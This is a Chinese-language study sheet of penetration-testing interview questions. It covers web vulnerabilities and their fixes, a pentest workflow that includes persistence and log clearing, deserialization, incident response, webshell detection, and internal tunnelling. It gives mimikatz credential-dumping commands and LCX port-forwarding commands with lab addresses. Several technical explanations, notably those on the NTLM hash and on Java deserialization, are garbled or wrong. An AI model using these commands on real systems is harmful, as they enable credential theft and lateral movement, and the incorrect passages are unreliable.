CSRF 、XSS、XXE有什么区别,以及修复方式
-
XSS
- 跨站脚本攻击,用户提交的数据中可以构造恶意代码,并且只需,从而窃取用户信息等攻击
- 修复方式
- 对实体字符进行转义
- 使用HTTP only来禁止JavaScript读取cookie值
- 输入时校验、浏览器与web应用端采用相同的字符编码
-
CSRF
- 跨站请求伪造攻击,XSS是实现CSRF诸多手段中的一种,原因是服务端没用对用户的操作是否是资源发起进行验证
- 修复方式
- 筛选出需要防范的CSRF的页面,然后嵌入Token、再次输入密码、校验referer
-
XXE
- XML外部实体注入,敏感文件读取
- 修复方式
- XML解析库在调用时严格禁止对外部实体的解析
GET 和POST的区别
- GET
- 把请求数据放在URL上,以?分割和传输数据,参数之间以&相连,所有GET不太安全
- 获取数据
- 提交的数据最大是2K,实际情况取决于浏览器
- GET会产生一个TCP数据包,浏览器会把 http header 和data一并发出去,服务器响应200(返回数据)
- GET请求会被浏览器主动缓存
- POST
- 把数据放在HTTP数据包中
- 修改数据
- 数据大小没有限制
- POST产生两个TCP数据包,浏览器先发送header,服务器响应100(continue),浏览器在发送data,服务器响应200
- POST不会缓存请求,除非手动设置
XSS有哪几种类型
-
反射型:非持久型、参数型、恶意代码并没有保存在目标网站。
-
非持久型
-
用户输入指定的内容放回结果,时间短的特点
-
http://127.0.0.1/01yijing/XSS/test1.php
-
-
参数型
- 由后端进行处理的
-
-
存储型:持久型
- 恶意代码会存在目标网站,服务器端,有很强的稳定性(后端进行处理)
-
DOM型
- 通过修改网页的DOM节点形成XSS,前端处理(一般是在URL上进行输入,形成弹窗)
-
区别
- 反射型的恶意代码存在URL中,存储型恶意代码存在服务器端;而DOM型,取出还是执行恶意代码都是由前端浏览器完成的,属于前端JavaScript自身的安全漏洞,其他两种属于服务端的安全漏洞
拿到一个待检测的站,如何渗透(渗透思路)
-
信息收集
- 服务器相关信息
- 真实IP、系统类型、版本、开放的端口等等
- 网站指纹
- CMS、cdn、证书等等、dns记录
- whois信息
- 姓名、备案、邮箱、电话(丢入社工库进行收集)
- 子域名收集、旁站、C段等
- google hacking (针对化的搜索,文件pdf、中间件版本、弱口令扫描)
- 扫描网站目录结构,爆破后台(测试文件、敏感文件这些)
- 传输协议、源码
- 服务器相关信息
-
漏洞测试
- SQL注入、文件上传、命令执行、XSS、XXE、文件包含等等
-
漏洞利用
- 通过拿到的漏洞进行getshell
-
权限提升
- window mysql udf 提权 低版本提取
- linux 脏牛提权
-
权限维持(通过创建后门、计划任务、隐藏账号等等)
-
内网扫描(通过工具或者命令对内网进行扫描,端口进行探测、明文信息收集等)(建立隧道,通过隧道代理工具)
-
内网攻击(权限提升、权限维持)
-
痕迹清理(删除相关的日志和log)
-
输出测试报告和修复方案
-
拿到一个待检测的站,应该先做什么
- 信息收集
- 子域名
- whois(网站注册信息,注册人,注册邮箱)
- 源IP(大部分网站使用了CDN)
- 旁站(在一台服务器上可能搭建多个网站,通过其他站点,获取服务器权限,再通过代码审计,获取目标网站权限)
- C段目标网站无法攻占,可以尝试其他地址
- 容器版本信息(用什么搭建的,如Apache,Nginx)
- 程序版本(某个OA系统,某个weblogic搭建的)
- 数据库类型
- 端口信息(开放的服务 80 443 8080)
- 对应的防火墙信息(防火墙类型,判断其检测行为)
- 信息收集
-
如淘宝网站登录界面举例(有那些测试点)
- 弱口令漏洞(有账号密码登录)
- 用户名枚举(如果输入一个不存在的账号,错误的密码,返回结果为账号密码错误;但如果输入正确的账号,错误的密码,返回结果为密码错误)
- SQL注入(登录时会和数据库进行交互)
- 短信轰炸(可使用短信登录,抓取数据包后,进行并发操作,如果能在短时间内获取多个验证码)
- 任意用户登录(短信验证码如果为4位数或者6位,并且不会失效,可以通过爆破方式枚举)
- 任意用户注册(在注册口中,不用使用验证验证,可以直接注册成功)
- 任意用户接管(没有对注册的手机号进行验证,通过修改返回值或者滞空验证码,绕过验证,顶替原用户
- 任意用户密码修改(在忘记密码出,有找回密码,如果验证不严格,可以跳到修改密码位置,不严重旧密码)
- 管理员功能注册:越权注册
- 未授权漏洞(在网站的JS文件中,是否存在对应的接口)
- 反射性XSS漏洞(在URL出输入pyload)
如何验证XSS漏洞
- XSS漏洞
- 攻击者在网页中嵌入客户端脚本(JavaScript),当用户使用浏览器加载被嵌入恶意代码的网页时,恶意代码脚本就在用户的浏览器执行
- 本质
- 用户输入的html语句直接输出
- 挖掘XSS的第一步
- 找到输入,用户可以操控代码的位置
- 找输出,输入的代码在网页的那个位置进行输出
- 构造pyload,根据实际情况
CSRF、SSRF和重放攻击有什么区别
- CSRF
- 跨站请求伪造、有客户端发起(请求是由恶意站点B伪造的请求)访问A站点
- [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1Ty7ou5L-1688719854077)(C:\Users\xfs-q\AppData\Roaming\Typora\typora-user-images\image-20230604132747545.png)]
- SSRF
- 服务器端请求伪造,服务器发起,通常用户不能访问服务器B,但通过伪造请求,通过服务器A间接访问服务器B的资源
- [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1xKXLopI-1688719854081)(C:\Users\xfs-q\AppData\Roaming\Typora\typora-user-images\image-20230604132640627.png)]
- 重放攻击
- 截取数据包进行重放,达到身份认证的目的(修改账号密码等)
JAVA反序列化
- 可以使用ObjectInputStream类writeObject()方法来进行反序列化操作。将对象转换为字节流,便于保存和传输,ObjectInputStream类writeObject()方法用于反序列化,将字节流还原为对象;
- Java反序列化的原理是通过Java反射技术实现的。在反序列化对象时,Java虚拟机会使用反射API动态地创建并初始化Java对象,并将对象的属性值从字节流中读取。因此,要成功地反序列化Java对象,必须确保字节流中包含了完整的类定义信息。
- Java反序列化也存在一些安全风险。由于不良用户可以构造恶意二进制数据流,通过反序列化攻击来执行任意代码或导致拒绝服务等问题。因此,在使用Java反序列化功能时,应该谨慎处理未知来源的数据,并对反序列化结果进行有效的验证和过滤。
Shiro反序列化
-
产生过程
- 命令 --> 序列化 --> AES加密 --> base64加密 --> remeberme cookie -->
-
主要是Apache Shire(小于1.2.4)提供了一个remeber功能,用户登录成功会生成经过加密并编码的cookie,保存在浏览器中方便用户的日常使用
-
而服务器对cookie的处理流程是先获取浏览器上保存的cookie,然后将其base64解码,在进行AES解密,在将其反序列化进行校验
-
漏洞的出现就在这里,AES是一个一个硬编码,有默认密钥,如果程序员没有修改或者很简单,那么就可以重构cookie,先构造恶意代码,在将代码序列化,然后AES加密(前提为密钥已经爆破出来),在进行base64编码,形成我们的cookie,服务器在处理时就会按照刚才的处理流程,在服务器端触发恶意代码。
PHP反序列化
-
序列化
- 将对象转换为字符串
-
PHP反序列化
-
无类
- 利用简单,源码会将输入的值进行反序列化,我们只需提前将数据进行序列化在传入
-
-
有类
-
需使用魔术方法,类似潜规则,在创建对象时会触发_ _construct(),并执行__construct()代码
-
魔术方法
-
__construct() ,类的构造函数,当对象被创建时调用
- __destruct() ,类的析构函数,当对象被销毁时调用
- __sleep(),执行serilalize()时,会先调用这个函数
- __wakeup(),执行unserialize()时,会先调用这个函数
- __toString(),类被当作字符串时的回应方法
-
sqlmap中 – os-shell的利用条件及原理
- 利用条件
- root 权限
- 知道网站的绝对路径
- GPC关闭
- GPC 在 PHP 中代表了 GET、POST 和 COOKIE 这三个超级全局变量的缩写。它们用于获取并处理通过 HTTP 请求传递给 PHP 脚本的数据。
- GET 用于从 URL 中获取数据,POST 用于从表单中获取数据,COOKIE 则用于存储在客户端浏览器上的数据。
- 由于这些变量都是全局变量,因此可以在脚本中的任何位置进行访问和使用。需要注意的是,由于安全性方面的考虑,应该对这些变量进行过滤和验证,以避免潜在的安全漏洞。
- secure_file_priv参数为空或者指定路径
- 原理及流程
- 先对目标进行一个基础信息的探测,然后上传shell到目标web网站上,利用shell传承进行命令执行,退出时删除shell
- 数据库不同,必要条件也不同,如sqlserver需要数据量支持外联,既数据库权限为SA权限,主要利用xp_cmdshell扩展进行命令执行
应急排查方式
- linux入侵排查思路
- 账号安全
- 是否存在后门账户,防止别人创建的账户
- 历史命令
- 看黑客在入侵过程中,执行了那些命令,从中发现做了那些操作,如果不存在,可能是做了清除
- 检查异常的端口
- 上传异常文件,需要通过端口建立连接,可以检查通过那个端口或者程序来控制
- 检查异常进程
- 通过查看进程,判断是自己运行还是系统运行或是别人运行,从而判断木马文件或者挖矿文件
- 开机启动项
- 可能做了权限维持操作,在启动项中设置了启动木马文件,每次开机重启的时候就会上线到他的控制端里面,进而被别人控制
- 检查定时任务
- 可能设置了定时任务
- 检查服务
- 有些木马文件会伪装为服务的形式在服务器上运行
- 检查异常文件
- 可能为木马文件或者挖矿文件,可以对其进行分析,分析其服务器地址,判断其做了哪些行为,通过哪些文件进行了哪些操作
- 检查系统日志
- 判断通过什么方式入侵进来,如ssh,还是其他系统服务
- 检查对应的web日志
- 判断是否是通过web漏洞进行的攻击
- 账号安全
- windows
- 账户安全
- 检查异常的端口
- 检查异常的进程
- 检查定时任务
- 检查服务
- 检查系统日志/web日志(查看状态码信息)
- 检查webshell文件
- 文件修改日期(是否为自己修改)
- 检查系统日志
反向shell与正向shell的区别
- 反向shell(渗透测试)
- 是由攻击者事先在受害者机器上植入了一个恶意程序,等待被攻击者在自己的机器上启动监听程序,并且让监听程序连接到攻击者机器上。一旦连接成功,攻击者就可以通过该连接获取受害者机器的控制权
- 攻击者监听的设备必须具备外网访问地址,也就是内网主机能出网
- 正向shell(内网测试,无法出网)
- 是由攻击者在自己的机器上开启一个监听程序,主动连接目标机器,被控端需要开启监听端口。一旦受害者机器连接到了监听程序,攻击者就可以通过该连接获取受害者机器的控制权。
- 边界机能够支持外网连接且存在外网IP
webshell原理
- webshell是一种网页后门,攻击者在入侵一个网站之后,会将asp或者php后门文件与网站服务器WEB目录下正常的文件混在一起,然后就可以使用浏览器访问后门,得到一个命令执行环境,从而达到控制网站服务器的效果
- 无论是上传文件还是该文件,webshell必然在一个文件中,可以通过静态检测(文件代码入手)
- webshell运行后,B/S数据通过HTTP交互,在HTTP请求/响应中也可以找到蛛丝马迹,会在web.log日志中有记录
如何检测webshell
- 静态检测
- 通过匹配特征码、特征值、危险函数来查找webshell的方法(已知的)
- 动态检测
- webshell上传至服务器,要执行就会有对应的特征,为动态特征,通过动态特征来检测
- 日志检测
- 使用webshell不会再系统日志和有记录,但会在网站的web日志留下访问webshell的数据和数据提交记录
- 因为webshell的执行需通过网页来进行调用,在网站的日志文件中找到其行为特征,使用的命令、方式、参数等
- 语法检测
- 是根据PHP语法扫描编译的实现方式去进行的剥离代码,分析变量函数字符串、语言结构的分析方式、用来实现危险函数的捕捉方式
如何排查系统内存shell
- 判断是基于什么 方法注入的内存马,通过查看web日志是否可疑的web访问日志
- 如果是filter或者listener类型就会有大量的url请求路径相同,参数不同,或者页面不存在但是返回200的
- 查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通的webshell的流量特征基本吻合
- 查找返回200的url路径对比web目录下是否真实存在文件
- 不存在,大概率为内存马
- web日志并未发现异常
- 排查是否为中间件漏洞导致代码执行注入内存马
- 排查中间件的error.log日志查看是否有可疑异常
- 根据时间,排查是否存在java代码执行漏洞以及存在过webshell
- 排查框架漏洞,反序列化漏洞
怎么搭建代理隧道
- 用于内网服务器,内网服务器不出网
- 代理工具
- frp
- 下载并安装 frp 服务器端程序,并在配置文件中设置代理端口、认证密钥等参数。
- 在需要被代理的主机上安装 frp 客户端程序,并在配置文件中设置连接信息和映射端口等参数。
- 启动 frp 服务器端程序,并确保防火墙已允许代理端口的流量通过。
- 启动 frp 客户端程序,在控制台或日志文件中查看连接状态和错误信息。
- 测试代理隧道是否正常工作,可以使用 telnet 或浏览器等工具访问被代理主机的服务。
- stowaway
- Stowaway 是一款开源的远控工具,可以实现对被控制主机进行远程操作、数据传输和文件管理等功能。Stowaway 的特点是轻量级、跨平台和易于扩展,支持 Windows、Linux 和 macOS 等操作系统。
- 下载并安装 Stowaway 客户端程序和服务器端程序,并使用特定的密钥对其进行验证和加密设置。
- 在被控制主机上启动服务器端程序,并等待客户端连接。
- 在控制端通过客户端程序连接到服务器端程序,并输入验证密钥和密码等信息。
- 成功连接后,可以在控制端终端中执行命令、上传下载文件、查看进程和网络状态等操作
- 断开连接时,将会自动清除所有痕迹和日志记录,保证安全性和隐私保护。
- frp
Burp suite怎么爆破密码
- 工作原理
- 在原始网络数据包中,利用不同的变量值对请求参数进行替换,然后模拟请求以获取不同的响应结果,以此达到爆破的目的
- 障碍类型
- 前端验证码绕过(验证码在前端)
- 将验证码放在js当中,不会经过后台验证,只在前端进行验证
- 原理
- 验证码存放在前端,验证码通过浏览器渲染出来,burp就是运行就是运行在浏览器和目标服务器之间的代理,可以直接越过验证码,将账户密码发送到后台进行验证,后台不会进行验证码验证
- 后端验证码
- 用户输入的验证码拿到后台进行验证,确认用户输入的验证码是否正确
- 原理
- 后端验证码的刷新需要条件才能触发,验证码刷新存放在另外一个文件中,需要点击登录,才能执行验证码刷新
- 在使用burp抓包工具时,对该网址的登录的请求数据包进行抓取,从而使得只执行登录页面的数据包,不会点击登录按钮,从而避免验证码刷新,于是可以一直运用一个正确的验证码进行爆破
- 前端Token验证
- 用户通过用户名和密码发送请求,程序验证,返回一个签名的token给客户端,客户端存储token,并且每次发送请求,服务器都会验证token并返回数据
- 漏洞利用
- 由于验证存放在前端,可以运用正则表达式,对token数据进行一个抓取,将爆破线程设置为1,从而实现,刷新,抓取token,验证用户账户
- 前端验证码绕过(验证码在前端)
看到一个告警IP,如何判断是否为真实攻击
-
内网IP
- 对请求包的内容进行判断,看是否携带恶意的pyload,如果携带,就分析请求的pyload,根据响应包判断是否执行成功,有无执行成功的回显,如果响应包中有相应的回显,那则判断为攻击成功
- 还需判断是否为业务系统逻辑还是工作人员在测试业务系统漏洞,如果该IP为报备IP,则为误报,如果不是报备IP,则不存在逻辑漏洞,则判断为内网失陷,内网机被作为跳板机进行攻击
-
公网IP
- 如果是公网IP,需判断pyload是否利用成功,如果利用成功,则是真实的攻击行为
Windows哈希传递
- 原理
- 当用户使用用户名和密码进行身份验证时,Windows会将密码转换为一个称为哈希值的加密字符串,并将其存储在计算机的本地安全账户数据库或Active Directory域控制器中。
- 如果用户请求访问其他计算机资源,Windows会将该用户的哈希值传递到目标计算机,并尝试使用该哈希值进行身份验证。
- 攻击者可以使用针对哈希值的破解工具(如暴力破解或字典攻击)来恢复用户的原始密码。这是因为哈希函数是一种单向函数,但是密码通常较弱,遭受密码破解的风险很高。
- 一旦攻击者获取了用户的原始密码,他们就可以使用该密码来获取对受害者拥有访问权限的计算机和资源的完全控制。
- 防范方法
- 使用较复杂、难以破解的密码,包括使用大写字母、小写字母、数字和特殊字符等。
- 启用密码策略进行强制执行。密码策略可以要求用户定期更改密码,并禁止使用简单、通用或易猜测的密码。
- 禁用本地管理员帐户的哈希传递。这可以通过启用Windows安全设置中的“限制本地账户的NTLM网络认证”的选项来实现。
- 启用多因素身份验证。这可以增加身份验证的安全性,即使攻击者窃取了密码,也无法通过其他身份验证步骤。
- 配置防火墙并限制网络访问权限。这可以减少攻击者利用Windows哈希传递漏洞获得对网络资源的访问的可能性。
- 定期更新操作系统和应用程序补丁。这可以确保系统和应用程序中的安全漏洞得到及时修补,从而降低受到攻击的风险。
IPS和IDS的区别
- IPS
- 入侵防御系统
- 是电脑网络安全设施,是防病毒和防火墙的补充
- 能够监视网络或网络设备资料传输行为的计算机网络安全设备
- 能够即时中断、调整或隔离一些不正常或具有伤害性的网络资料传输行为
- 位于防火墙进而网络设备之间,对来自内部的攻击无能无力
- IPS具有检测已知和未知攻击并具有成功防止攻击的能力
- IDS
- 入侵检测系统
- 核心价值在于对全网信息的分析,了解信息系统的安全状况
- 部署在网络内部,监控整个子网,包括来自外部的数据以及内部终端之间传输的数据
- 局限性在于不能反击网络攻击,只能起到报警的作用
- 不具备检测已知和未知攻击并具有成功防止攻击的能力
ntlm-hash的原理
- 是Windows操作系统中使用的一种密码哈希算法,用于对用户密码进行加密存储。它的实现过程如下
- 用户在登录时输入明文密码。
- 操作系统将明文密码转换为Unicode编码,并对其进行一些预处理操作,如添加一个空字节等。
- 系统生成一个随机的16字节的挑战值(challenge)并发送给客户端。
- 客户端接收到挑战值后,使用NTLM哈希算法对该挑战值和用户密码进行加密处理。具体来说,NTLM哈希算法的实现包括以下几个步骤
- 将用户密码转换为Unicode编码。
- 在密码末尾添加一个空字节,将其填充到14个字符,并将其存储为一个128位的数字
- 对128位数字进行DES加密,其中密钥由用户密码的前7个字节构成,后7个字节为0
- 将上述加密结果再次进行DES加密,其中密钥由用户密码的后7个字节和前面的结果的左半部分组成,右半部分为0
- 将上述加密结果再次进行DES加密,其中密钥由用户密码的后7个字节和前面的结果的右半部分组成,左半部分为0
- 将最终的加密结果存储为一个16字节的哈希值
- 客户端将该哈希值发送给服务器
- 服务器接收到客户端发送的哈希值后,使用相同的输入(挑战值和用户密码)再次计算哈希值,并将其与客户端发送的值进行比较。如果匹配成功,则表示认证通过
- 需要注意的是,NTLM哈希算法并不是一种强加密算法,因为它易受到彩虹表攻击等密码破解手段的攻击。因此,现在通常使用更加安全的哈希算法如SHA-256等来代替NTLM哈希算法。
windows哈希怎么获取
- 利用mimikatz获取明文密码
- 使用命令为
- privilege::debug
- sekurlsa::logonpasswords
- 获取的SHA1为加密后的密码,对该字段进行md5解密即可,空密码的用户也会抓取到hash值,该sha1解密后为空字段
3389无法连接,可能是什么情况
- 3389是远程桌面连接
- 防护软件拦截了不安全的连接,比如安全狗,有一个功能,只有你制定的计算机名字可以连接到服务器,不是用户账户名
- 修改了端口,计算机可以连接65535个端口,连接的端口和开放的端口不符
- 处于内网中,可以使用LCX远程连接;需先给服务器传个LCX,然后要有管理员权限执行才行
- 没开放3389,对方没用开启终端服务
- tcp/ip筛选限制登录,只允许指定IP登录
为什么需要建立通信隧道,说说原因
-
在内网中,需要搭建代理隧道,进行下一步操作
-
建立通信隧道的目的
- 当攻击者找到合适的子口后,便可以将这个点作为外网进入内网的根据地,在这个点上建立隧道,形成外网到内网的跳板
-
什么是端口转发
- 端口转发,有时被叫做隧道,端口转发是转发一个网络端口从一个网络节点到另外一个网络节点的行为。简单的来说就是将一个端口收到的流量转发到另外一个端口
-
端口转发工具 ---- LCX
- 是最经典的端口转发工具,基于Socket套接字实现端口转发
- 有Windows和Linxux两个版本,分别为icx.exe和portmap
-
LCX----正向连接
-
将内网靶机的3389端口转发到边界机的8888端口
-
命令:lcx.exe -tran 8888 靶机ip 3389
lcx.exe -tran 8888 192.168.1.0 3389
-
场景:由于防火墙限制,只允许8888入栈站
-
在边界机上执行命令后,通过连接192.168.7.147后,即可访问192.169.11.12的3389端口
-
-
LCX----反向连接
- 将内网靶机的3389端口转发到攻击机的8888端口
- 攻击机(vps):lcx.exe -listen 6666 8888
- 边界机:lcx.exe -slave 192.168.7.144 6666 192.168.11.12 3389